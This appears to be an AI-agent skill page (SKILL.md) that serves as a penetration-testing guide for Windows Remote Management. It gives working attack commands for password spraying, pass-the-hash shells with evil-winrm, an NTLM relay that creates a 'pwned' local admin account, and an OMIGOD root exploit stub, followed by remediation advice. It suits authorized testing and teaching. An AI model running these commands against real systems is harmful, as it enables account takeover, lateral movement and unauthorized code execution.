pentesting-winrm

$npx mdskill add xalgord/xalgorix/pentesting-winrm

- During authorized Windows/AD assessments when 5985 (HTTP) or 5986 (HTTPS) is open - When you hold valid credentials or an NT hash and want an interactive remote shell - When testing for NTLM relay opportunities against an unencrypted WinRM (HTTP) listener - When assessing Azure Linux hosts running OMI (OMIGOD, CVE-2021-38647) - When validating credentials at scale and checking which grant remote-exec

SKILL.md

.github/skills/pentesting-winrmView on GitHub ↗
---
name: pentesting-winrm
description: Testing Windows Remote Management (WinRM / WS-Management) during authorized engagements. WinRM exposes an
  HTTP(S) SOAP interface for WMI/PowerShell remoting on 5985/tcp (HTTP) and 5986/tcp (HTTPS). Covers service detection
  with Test-WSMan and netexec, credential validation and brute force, interactive shells with evil-winrm (password,
  pass-the-hash, Kerberos, certificate auth), command execution, NTLM relay to WS-MAN, and the OMIGOD (CVE-2021-38647) RCE.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- winrm
- windows
- lateral-movement
- command-execution
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Pentesting WinRM (port 5985/5986)

## When to Use

- During authorized Windows/AD assessments when 5985 (HTTP) or 5986 (HTTPS) is open
- When you hold valid credentials or an NT hash and want an interactive remote shell
- When testing for NTLM relay opportunities against an unencrypted WinRM (HTTP) listener
- When assessing Azure Linux hosts running OMI (OMIGOD, CVE-2021-38647)
- When validating credentials at scale and checking which grant remote-exec

## Quick Enumeration

```bash
# Port presence implies WinRM is configured
nmap -p5985,5986 -sV <IP>
# 5985/tcp Microsoft-HTTPAPI ; 5986/tcp is HTTPS

# From Windows: confirm a target is WinRM-configured
Test-WSMan <target-ip>        # returns protocol version + wsmid if configured

# netexec / crackmapexec credential check (no interactive shell)
crackmapexec winrm <IP> -u <user> -p <password> -x "whoami"
crackmapexec winrm <IP> -d <Domain> -u <user> -H <HASH> -X '$PSVersionTable'

# Shodan-style discovery
# port:5985 Microsoft-HTTPAPI
```

## Critical: Checks Most Often Missed

1. **Valid creds ≠ WinRM access** — a user must be in the Remote Management Users group (or local admins). Always confirm with `crackmapexec winrm` before assuming evil-winrm will work; a green `(+)` with `(Pwn3d!)` indicates exec.
2. **Unencrypted HTTP listener (5985) → NTLM relay** — since impacket 0.11, `ntlmrelayx.py` can relay captured NTLM to WS-MAN/WinRM for SYSTEM-level code execution. Combine with mitm6/Responder coercion.
3. **OMIGOD (CVE-2021-38647)** — Azure Linux agents run OMI exposing WS-MAN on 5985/5986; a logic flaw allows **unauthenticated RCE as root** by omitting the auth header.
4. **Pass-the-Hash works** — evil-winrm authenticates with an NT hash (`-H`), no cleartext needed.
5. **Kerberos / certificate auth** — evil-winrm 3.x supports `-k`/`--spn` (Kerberos) and `--cert-pem`/`--key-pem` (certificate) for NTLM-disabled or cert-required environments.
6. **Brute force locks accounts** — WinRM brute forcing increments the bad-password counter; coordinate with the client and prefer validated single attempts.

How to CONFIRM: WinRM is confirmed configured when `Test-WSMan` returns protocol/wsmid data, or `crackmapexec winrm <IP>` responds. Remote-exec capability is confirmed by `(Pwn3d!)` in crackmapexec output or a successful `evil-winrm` prompt.

## Workflow

### Step 1: Enumerate (detect + validate)

```bash
nmap -p5985,5986 -sV <IP>
Test-WSMan <IP>                                          # from a Windows host
crackmapexec winrm <IP> -u <user> -p <password>          # validate creds
```

### Step 2: Authenticate (creds, hash, brute, Kerberos, cert)

```bash
# Validate / spray (mind lockout)
crackmapexec winrm <IP> -d <Domain> -u users.txt -p passwords.txt

# Interactive shell with evil-winrm
gem install evil-winrm
evil-winrm -i <IP> -u <user> -p '<password>'
evil-winrm -i <IP> -u <user> -H <NTHASH>                 # pass-the-hash

# Kerberos (3.x): needs a TGT (kinit) and SPN
RHOST=<IP> evil-winrm -i $RHOST -u <user> -k --spn HTTP/$RHOST
# Certificate auth (3.x)
evil-winrm -i <IP> -c cert.pem -k key.pem -S
```

### Step 3: Exploit / Extract (command execution)

```bash
# One-off command exec without a full shell
crackmapexec winrm <IP> -u <user> -p '<pass>' -x "whoami /all"

# PowerShell remoting from Windows
Invoke-Command -ComputerName <host.fqdn> -ScriptBlock {ipconfig /all} [-Credential DOMAIN\user]
Enter-PSSession -ComputerName <host.fqdn> [-Credential DOMAIN\user]

# pypsrp from Linux (CredSSP/Kerberos)
python3 - <<'PY'
from psrp.client import Client
c = Client('<host>', username='DOMAIN\\user', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
PY
```

### Step 4: Post-access / lateral movement

```bash
# evil-winrm built-ins: upload/download files, load scripts/binaries
#   PS> upload /local/file C:\temp\file
#   PS> menu ; invoke-binary <tab>     # run in-memory binaries

# Enable WinRM remotely if not configured (needs creds + SMB/WMI)
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
PsExec.exe \\<host> -u DOMAIN\user -p pass -h -d powershell.exe "enable-psremoting -force"

# NTLM relay to WS-MAN (unencrypted HTTP listener) → SYSTEM exec
sudo ntlmrelayx.py -t wsman://<IP> --no-smb-server -smb2support \
  --command "net user pwned P@ssw0rd! /add"

# OMIGOD unauthenticated RCE (Azure OMI, CVE-2021-38647) — authorized targets only
curl http://<IP>:5985/wsman -H 'Content-Type:text/xml' -d '<xml .../>'
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **WinRM / WS-Management** | Microsoft SOAP-over-HTTP(S) protocol for remote management, backed by WMI |
| **PS Remoting** | PowerShell remoting (Enter-PSSession/Invoke-Command) running over WinRM |
| **Ports** | 5985 (HTTP), 5986 (HTTPS) |
| **Remote Management Users** | Group whose members may connect via WinRM without being local admin |
| **Pass-the-Hash** | Authenticating to WinRM with an NT hash via evil-winrm |
| **wsmprovhost** | Process hosting the remote PowerShell session on the target |
| **NTLM relay to WS-MAN** | Relaying coerced NTLM auth to a WinRM listener for code execution |
| **OMIGOD (CVE-2021-38647)** | Unauthenticated root RCE in Azure's OMI WS-MAN endpoint |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **nmap** | Detect 5985/5986 and service banners |
| **Test-WSMan** | Confirm a target is configured for WinRM |
| **netexec / crackmapexec** (winrm) | Credential validation, spraying, command execution |
| **evil-winrm** | Interactive shell with password/PtH/Kerberos/cert auth, file transfer |
| **impacket ntlmrelayx.py** | Relay NTLM to WS-MAN for SYSTEM exec |
| **pypsrp** | WinRM/PS-Remoting from Linux (CredSSP, Kerberos) |
| **mitm6 / Responder** | Coerce authentication to feed the relay |

## Common Scenarios

### Scenario 1: PtH Interactive Shell
A dumped local admin NT hash is reused: `evil-winrm -i <IP> -u Administrator -H <hash>` drops an interactive PowerShell shell, confirming lateral movement.

### Scenario 2: Remote Management Users Foothold
A low-priv user isn't a local admin but is in Remote Management Users. `crackmapexec winrm <IP> -u user -p pass` shows `(Pwn3d!)`, and evil-winrm yields a shell for further escalation.

### Scenario 3: NTLM Relay to WinRM
An HTTP (5985) listener with no EPA is targeted. mitm6 coerces a victim, and `ntlmrelayx.py -t wsman://<IP>` relays the auth to add a local admin account.

### Scenario 4: OMIGOD on Azure Linux
An Azure VM runs a vulnerable OMI. A crafted WS-MAN request with no auth header executes commands as root (CVE-2021-38647), reported as critical.

## Output Format

```
## WinRM Finding

**Service**: Windows Remote Management (WS-Management)
**Severity**: <Critical|High|Medium>
**Host**: <IP>:5985/5986
**Listener**: <HTTP|HTTPS>   **Access**: <none|user|admin/SYSTEM>

### Summary
<What was found: valid creds w/ remote-exec, PtH shell, NTLM relay, OMIGOD>

### Evidence
- Command: <crackmapexec / evil-winrm / ntlmrelayx>
- Output: <(Pwn3d!), shell prompt, relay success, whoami output>

### Access Obtained
| Method | Result |
|--------|--------|
| evil-winrm PtH | PowerShell shell as <user> |
| ntlmrelayx | local admin account created |

### Recommendation
1. Disable the unencrypted HTTP listener; force HTTPS with EPA enabled
2. Restrict Remote Management Users membership to required accounts
3. Patch/remove OMI (>= 1.6.8-1) on Azure Linux and block 5985/5986 from the Internet
4. Enforce strong credentials and monitor Microsoft-Windows-WinRM/Operational (events 91/163/182)
5. Restrict WinRM access to management subnets
```

More from xalgord/xalgorix